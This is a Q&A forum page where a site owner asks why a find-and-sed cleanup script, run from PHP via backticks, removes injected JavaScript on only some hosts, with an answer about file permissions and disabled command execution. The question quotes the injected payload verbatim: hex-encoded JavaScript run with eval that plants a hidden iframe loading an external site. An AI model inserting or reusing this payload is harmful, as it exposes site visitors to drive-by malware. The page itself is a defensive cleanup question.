dongxian0421 2011-08-31 05:46
浏览 50
已采纳

为什么有些服务器无法运行SED命令?

Recently I've been trying to fix a slew of viruses on my server which I suspect is due to the Blackhole toolkit. It appends a js-script to the end of index.php and .html files which looks like this..

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>

It's a encoded version of the standard iframe virus. I've been trying to remove it by running a php script like the one below. (which was a solution from stack overflow).

$dir = "./";

$removejs = `find $dir -name "*.php" -type f |xargs sed -i '<script>var t=.*eval.*script>##g' 2>&1`;

The problem is, the script works for some servers while others just seem to have no effect. Does anyone know why? I've tried it on at least 10 separate webhosts. The script only runs successfully on about 3 hosts. The rest just doesn't do anything. What settings do I need to change ?

Appreciate any help I can get. Thanks !

  • 写回答

2条回答 默认 最新

  • dqce48404 2011-08-31 05:51
    关注
    1. If you're running this script right using http request, i.e. it gets runned by webserver with privileges of user like nobody or apache - then sed -i command used in this script just can't change anything in the files that find founds due to insufficient privileges.

    2. Your PHP installation might have backticks and/or any other form of command execution disabled, as it is usually a direct security threat (using safe_mode, using PHP suhosin patch directives, etc).

    Your best bet would be checking webserver logs on hosts that haven't executed this script.

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

悬赏问题

  • ¥15 关于#matlab#的问题:在模糊控制器中选出线路信息,在simulink中根据线路信息生成速度时间目标曲线(初速度为20m/s,15秒后减为0的速度时间图像)我想问线路信息是什么
  • ¥15 banner广告展示设置多少时间不怎么会消耗用户价值
  • ¥16 mybatis的代理对象无法通过@Autowired装填
  • ¥15 可见光定位matlab仿真
  • ¥15 arduino 四自由度机械臂
  • ¥15 wordpress 产品图片 GIF 没法显示
  • ¥15 求三国群英传pl国战时间的修改方法
  • ¥15 matlab代码代写,需写出详细代码,代价私
  • ¥15 ROS系统搭建请教(跨境电商用途)
  • ¥15 AIC3204的示例代码有吗,想用AIC3204测量血氧,找不到相关的代码。